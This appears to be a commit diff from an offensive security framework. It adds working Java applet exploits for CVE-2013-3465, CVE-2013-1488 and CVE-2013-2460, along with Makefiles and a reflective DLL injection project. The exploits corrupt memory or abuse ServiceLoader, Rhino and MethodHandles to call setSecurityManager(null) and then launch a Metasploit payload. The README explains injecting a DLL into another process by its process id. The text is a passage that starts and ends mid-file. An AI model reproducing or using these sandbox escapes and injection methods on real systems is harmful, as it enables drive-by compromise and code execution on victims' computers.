public boolean isCompatibleRaster(Raster r)
{
boolean res = true;
return res;
}
}
private int tryExpl()
{
try {
// alloc aux vars
String name = "setSecurityManager";
Object[] o1 = new Object[1];
Object o2 = new Statement(System.class, name, o1); // make a dummy call for init
// allocate byte buffer for destination Raster.
DataBufferByte dst = new DataBufferByte(16);
// allocate the target array right after dst
int[] a = new int[8];
// allocate an object array right after a[]
Object[] oo = new Object[7];
// create Statement with the restricted AccessControlContext
oo[2] = new Statement(System.class, name, o1);
// create powerful AccessControlContext
Permissions ps = new Permissions();
ps.add(new AllPermission());
oo[3] = new AccessControlContext(
new ProtectionDomain[]{
new ProtectionDomain(
new CodeSource(
new java.net.URL("file:///"),
new java.security.cert.Certificate[0]
),
ps
)
}
);
// store System.class pointer in oo[]
oo[4] = ((Statement)oo[2]).getTarget();
// save old a.length
int oldLen = a.length;
//System.out.println("a.length = 0x" + toHex(oldLen));
// create regular source image
BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);
// prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length
MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));
// create malformed destination image based on dst[] data
WritableRaster wr = Raster.createWritableRaster(sm, dst, null);
BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);
// prepare first pixel which will overwrite a.length
bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});
// call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)
AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);
op.filter(bi1, bi2);
// check results: a.length should be overwritten by 0xFFFFFFFF
int len = a.length;
//System.out.println("a.length = 0x" + toHex(len));
if (len == oldLen) {
// check a[] content corruption // for RnD
for(int i=0; i < len; i++) {
if (a[i] != 0) {
//System.out.println("a["+i+"] = 0x" + toHex(a[i]));
}
}
// exit
//System.out.println("error 1");
return 1;
}
// ok, now we can read/write outside the real a[] storage,
// lets find our Statement object and replace its private "acc" field value
// search for oo[] after a[oldLen]
boolean found = false;
int ooLen = oo.length;
for(int i=oldLen+2; i < oldLen+32; i++)
if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null
&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null
{
// read pointer from oo[4]
int stmTrg = a[i+4];
// search for the Statement.target field behind oo[]
for(int j=i+7; j < i+7+64; j++){
if (a[j] == stmTrg) {
// overwrite default Statement.acc by oo[3] ("AllPermission")
a[j-1] = a[i+3];
found = true;
break;
}
}
if (found) break;
}
// check results
if (!found) {
// print the memory dump on error // for RnD
String s = "a["+oldLen+"...] = ";
for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";
//System.out.println(s);
} else try {
// call System.setSecurityManager(null)
((Statement)oo[2]).execute();
// show results: SecurityManager should be null
} catch (Exception ex) {
//ex.printStackTrace();
}
//System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail.");
} catch (Exception ex) {
//ex.printStackTrace();
}
return 0;
}
}
+14
View File
@@ -0,0 +1,14 @@
CLASSES = Exploit.java
.SUFFIXES: .java .class
.java.class:
javac -source 1.2 -target 1.2 -cp "../../../../data/java" Exploit.java
all: $(CLASSES:.java=.class)
install:
mv *.class ../../../../data/exploits/CVE-2013-3465/
clean:
rm -rf *.class
+41
View File
@@ -0,0 +1,41 @@
import java.applet.Applet;
import java.awt.Graphics;
import java.sql.*;
//import java.lang.Runtime;
import metasploit.Payload;
public class Exploit extends Applet
{
public Exploit()
{
}
public void init()
{
try
{
System.out.println("Here we go...");
String url = "jdbc:msf:sql://127.0.0.1:8080/sample";
String userid = "userid";
String password = "password";
Connection con = DriverManager.getConnection(url, userid, password);
}
catch(Exception localThrowable)
{
//localThrowable.printStackTrace();
}
try {
Payload.main(null);
//Runtime.getRuntime().exec("calc.exe");
} catch(Exception ex) {
//ex.printStackTrace();
}
}
public void paint(Graphics paramGraphics)
{
paramGraphics.drawString("Loading", 50, 25);
}
}
+65
View File
@@ -0,0 +1,65 @@
import java.sql.*;
import java.util.logging.Logger;
import java.util.Properties;
import java.util.AbstractSet;
import java.util.ServiceLoader;
import java.util.Iterator;
public class FakeDriver extends AbstractSet implements java.sql.Driver
{
public static final String URL_PREFIX = "jdbc:msf:sql:";
public static ServiceLoader _s1;
static {
_s1 = ServiceLoader.load(Object.class);
}
public Iterator iterator()
{
return _s1.iterator();
}
public FakeDriver() {
}
public final boolean acceptsURL(String url)
throws SQLException
{
return true;
}
public final boolean jdbcCompliant() {
return true;
}
public final Logger getParentLogger() {
return null;
}
public final int getMinorVersion() {
return 0;
}
public final int getMajorVersion() {
return 1;
}
public final DriverPropertyInfo[] getPropertyInfo(String url, Properties info)
throws SQLException
{
return null;
}
public final Connection connect(String url, Properties info)
throws SQLException
{
return null;
}
//AbstractSet
public final int size() {
return 2;
}
}
+70
View File
@@ -0,0 +1,70 @@
import java.sql.*;
import java.util.logging.Logger;
import java.util.Properties;
import java.util.HashSet;
import java.util.Iterator;
import javax.script.*;
import java.io.*;
import java.lang.*;
public class FakeDriver2 extends HashSet implements java.sql.Driver
{
public static final String URL_PREFIX = "jdbc:msf:sql:";
static {
}
public FakeDriver2() {
Iterator i = FakeDriver._s1.iterator();
try {
ScriptEngine e = (ScriptEngine)i.next();
Object proxy = (Object) e.eval(
"this.toString = function() {" +
" java.lang.System.setSecurityManager(null);" +
" return '';" +
"};" +
"e = new Error();" +
"e.message = this;" +
"e");
this.add(proxy);
} catch (Exception ex) {
//ex.printStackTrace();
}
}
public final boolean acceptsURL(String url)
throws SQLException
{
return true;
}
public final boolean jdbcCompliant() {
return true;
}
public final Logger getParentLogger() {
return null;
}
public final int getMinorVersion() {
return 0;
}
public final int getMajorVersion() {
return 1;
}
public final DriverPropertyInfo[] getPropertyInfo(String url, Properties info)
throws SQLException
{
return null;
}
public final Connection connect(String url, Properties info)
throws SQLException
{
return null;
}
}
@@ -0,0 +1 @@
com.sun.script.javascript.RhinoScriptEngine
@@ -0,0 +1,2 @@
FakeDriver
FakeDriver2
+19
View File
@@ -0,0 +1,19 @@
CLASSES = \
Exploit.java \
FakeDriver.java \
FakeDriver2.java
.SUFFIXES: .java .class
.java.class:
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
all: $(CLASSES:.java=.class)
install:
mv Exploit.class ../../../../data/exploits/cve-2013-1488/
mv FakeDriver.class ../../../../data/exploits/cve-2013-1488/
mv FakeDriver2.class ../../../../data/exploits/cve-2013-1488/
cp -r META-INF ../../../../data/exploits/cve-2013-1488/
clean:
rm -rf *.class
@@ -0,0 +1,28 @@
import java.security.AccessController;
import java.security.PrivilegedActionException;
import java.security.PrivilegedExceptionAction;
/**
* Class for disabling the SecurityManager.
* Based on POC of Security Explorations' Issue 61.
* @author mk
*
*/
public class DisableSecurityManagerAction implements PrivilegedExceptionAction {
public DisableSecurityManagerAction() {
try {
AccessController.doPrivileged(this);
} catch (PrivilegedActionException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public Object run() throws Exception {
System.setSecurityManager(null);
return new Object();
}
}
+12
View File
@@ -0,0 +1,12 @@
import com.sun.tracing.Provider;
/**
* Empty interface to get an Provider instance.
* Based on POC of Security Explorations' Issue 61.
* @author mk
*
*/
public interface ExpProvider extends Provider {
}
+118
View File
@@ -0,0 +1,118 @@
import java.applet.Applet;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import metasploit.Payload;
import com.sun.tracing.Provider;
import com.sun.tracing.ProviderFactory;
/**
* Class exploiting the vulnerability in the ProviderSkeleton class. Based on
* POC of Security Explorations' Issue 61.
*
* @author mk
*
*/
public class Exploit extends Applet {
InvocationHandler invoc = null;
MethodHandles.Lookup look;
public Exploit() {
try {
ByteArrayOutputStream classInputStream = new ByteArrayOutputStream();
byte[] classBuffer = new byte[8192];
int classLength;
InputStream inputStream = getClass().getResourceAsStream(
"DisableSecurityManagerAction.class");
while ((classLength = inputStream.read(classBuffer)) > 0)
classInputStream.write(classBuffer, 0, classLength);
classBuffer = classInputStream.toByteArray();
ProviderFactory fac = ProviderFactory.getDefaultFactory();
Provider p = fac.createProvider(ExpProvider.class);
invoc = Proxy.getInvocationHandler(p);
Class handle = java.lang.invoke.MethodHandles.class;
Method m = handle.getMethod("lookup", new Class[0]);
look = (MethodHandles.Lookup) invoc.invoke(null, m, new Object[0]);
Class context = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.Context");
Class defClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.DefiningClassLoader");
Class genClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
MethodHandle enterMethod = getMethod(context, "enter", context,
new Class[0], true);
Class argTypes[] = new Class[1];
argTypes[0] = ClassLoader.class;
MethodHandle createClassLoader = getMethod(context,
"createClassLoader", genClassLoader, argTypes, false);
argTypes = new Class[2];
argTypes[0] = Class.forName("java.lang.String");
argTypes[1] = (new byte[0]).getClass();
MethodHandle defineClass = getMethod(defClassLoader, "defineClass",
java.lang.Class.class, argTypes, false);
Object enterContext = enterMethod.invoke();
Object cLoader = createClassLoader.invoke(enterContext, null);
Class disabler = (Class) defineClass.invoke(cLoader,
"DisableSecurityManagerAction", classBuffer);
disabler.newInstance();
Payload.main(null);
} catch (Throwable e) {
}
}
private Class loadClassUnderPrivContext(String className) throws Throwable {
Class ret = null;
Class theClass = java.lang.Class.class;
Class argTypes[] = new Class[1];
argTypes[0] = String.class;
Method m = theClass.getMethod("forName", argTypes);
Object argObjects[] = new Object[1];
argObjects[0] = className;
ret = (Class) invoc.invoke(null, m, argObjects);
return ret;
}
private MethodHandle getMethod(Class c, String methodName,
Class returnType, Class argTypes[], boolean isStaticMethod)
throws NoSuchMethodException, IllegalAccessException {
MethodHandle ret = null;
MethodType methodType = MethodType.methodType(returnType, argTypes);
if (isStaticMethod)
ret = look.findStatic(c, methodName, methodType);
else
ret = look.findVirtual(c, methodName, methodType);
return ret;
}
}
+19
View File
@@ -0,0 +1,19 @@
CLASSES = \
ExpProvider.class \
DisableSecurityManagerAction.class \
Exploit.class
.SUFFIXES: .java .class
.java.class:
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
all: $(CLASSES:.java=.class)
install:
mv ExpProvider.class ../../../../data/exploits/cve-2013-2460/
mv DisableSecurityManagerAction.class ../../../../data/exploits/cve-2013-2460/
mv Exploit.class ../../../../data/exploits/cve-2013-2460/
clean:
rm -rf *.class
+25
View File
@@ -0,0 +1,25 @@
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
+71
View File
@@ -0,0 +1,71 @@
About
=====
Reflective DLL injection is a library injection technique in which the concept
of reflective programming is employed to perform the loading of a library from
memory into a host process. As such the library is responsible for loading
itself by implementing a minimal Portable Executable (PE) file loader. It can
then govern, with minimal interaction with the host system and process, how it
will load and interact with the host.
Injection works from Windows NT4 up to and including Windows 8, running on x86,
x64 and ARM where applicable.
Overview
========
The process of remotely injecting a library into a process is two fold. Firstly,
the library you wish to inject must be written into the address space of the
target process (Herein referred to as the host process). Secondly the library
must be loaded into that host process in such a way that the library's run time
expectations are met, such as resolving its imports or relocating it to a
suitable location in memory.
Assuming we have code execution in the host process and the library we wish to
inject has been written into an arbitrary location of memory in the host
process, Reflective DLL Injection works as follows.
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap
shellcode, to the library's ReflectiveLoader function which is an exported
function found in the library's export table.
* As the library's image will currently exists in an arbitrary location in
memory the ReflectiveLoader will first calculate its own image's current
location in memory so as to be able to parse its own headers for use later on.
* The ReflectiveLoader will then parse the host processes kernel32.dll export
table in order to calculate the addresses of three functions required by the
loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
* The ReflectiveLoader will now allocate a continuous region of memory into
which it will proceed to load its own image. The location is not important as
the loader will correctly relocate the image later on.
The library's headers and sections are loaded into their new locations in
memory.
* The ReflectiveLoader will then process the newly loaded copy of its image's
import table, loading any additional library's and resolving their respective
imported function addresses.
* The ReflectiveLoader will then process the newly loaded copy of its image's
relocation table.
* The ReflectiveLoader will then call its newly loaded image's entry point
function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully
loaded into memory.
* Finally the ReflectiveLoader will return execution to the initial bootstrap
shellcode which called it, or if it was called via CreateRemoteThread, the
thread will terminate.
Build
=====
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release
mode to make inject.exe and reflective_dll.dll
Usage
=====
To test use the inject.exe to inject reflective_dll.dll into a host process via
a process id, e.g.:
> inject.exe 1234
License
=======
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 10.00
# Visual C++ Express 2008
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -2,9 +2,9 @@
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="screenshot"
ProjectGUID="{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}"
RootNamespace="screenshot"
Name="reflective_dll"
ProjectGUID="{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
RootNamespace="reflective_dll"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
@@ -44,7 +44,7 @@
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
@@ -90,96 +90,6 @@
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="0"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="false"
FavorSizeOrSpeed="2"
AdditionalIncludeDirectories="&quot;..\..\source\jpeg-8&quot;"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS;_CRT_SECURE_NO_WARNINGS"
StringPooling="true"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CallingConvention="0"
CompileAs="1"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="jpeg.lib"
OutputFile=".\release\screenshot.dll"
LinkIncremental="1"
AdditionalLibraryDirectories="&quot;..\..\source\jpeg-8\lib\win\x86&quot;"
GenerateManifest="false"
ManifestFile=""
GenerateDebugInformation="false"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
RandomizedBaseAddress="2"
FixedBaseAddress="1"
DataExecutionPrevention="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
EmbedManifest="false"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy /y &quot;$(ProjectDir)\release\screenshot.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
@@ -206,7 +116,7 @@
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
@@ -252,6 +162,82 @@
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy ..\Release\reflective_dll.dll ..\bin\"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
@@ -278,20 +264,18 @@
/>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
Optimization="2"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="false"
EnableIntrinsicFunctions="true"
FavorSizeOrSpeed="2"
AdditionalIncludeDirectories="&quot;..\..\source\jpeg-8&quot;"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS;_CRT_SECURE_NO_WARNINGS"
StringPooling="true"
WholeProgramOptimization="false"
PreprocessorDefinitions="WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CallingConvention="0"
CompileAs="1"
CompileAs="2"
/>
<Tool
Name="VCManagedResourceCompilerTool"
@@ -304,19 +288,12 @@
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="jpeg.lib"
OutputFile=".\release\screenshot.x64.dll"
OutputFile="$(OutDir)\$(ProjectName).x64.dll"
LinkIncremental="1"
AdditionalLibraryDirectories="&quot;..\..\source\jpeg-8\lib\win\x64&quot;"
GenerateManifest="false"
ManifestFile=""
GenerateDebugInformation="false"
GenerateDebugInformation="true"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
RandomizedBaseAddress="2"
FixedBaseAddress="1"
DataExecutionPrevention="2"
TargetMachine="17"
/>
<Tool
@@ -324,7 +301,6 @@
/>
<Tool
Name="VCManifestTool"
EmbedManifest="false"
/>
<Tool
Name="VCXDCMakeTool"
@@ -340,7 +316,7 @@
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy /y &quot;$(ProjectDir)\release\screenshot.x64.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
CommandLine="copy $(OutDir)\$(ProjectName).x64.dll ..\bin\"
/>
</Configuration>
</Configurations>
@@ -353,11 +329,11 @@
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath="..\..\source\screenshot\bmp2jpeg.c"
RelativePath=".\src\ReflectiveDll.c"
>
</File>
<File
RelativePath="..\..\source\screenshot\screenshot.c"
RelativePath=".\src\ReflectiveLoader.c"
>
</File>
</Filter>
@@ -367,11 +343,11 @@
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
<File
RelativePath="..\..\source\screenshot\bmp2jpeg.h"
RelativePath=".\src\ReflectiveDLLInjection.h"
>
</File>
<File
RelativePath="..\..\source\screenshot\screenshot.h"
RelativePath=".\src\ReflectiveLoader.h"
>
</File>
</Filter>
+266
View File
@@ -0,0 +1,266 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
<RootNamespace>reflective_dll</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<TargetName>exploit</TargetName>
</PropertyGroup>
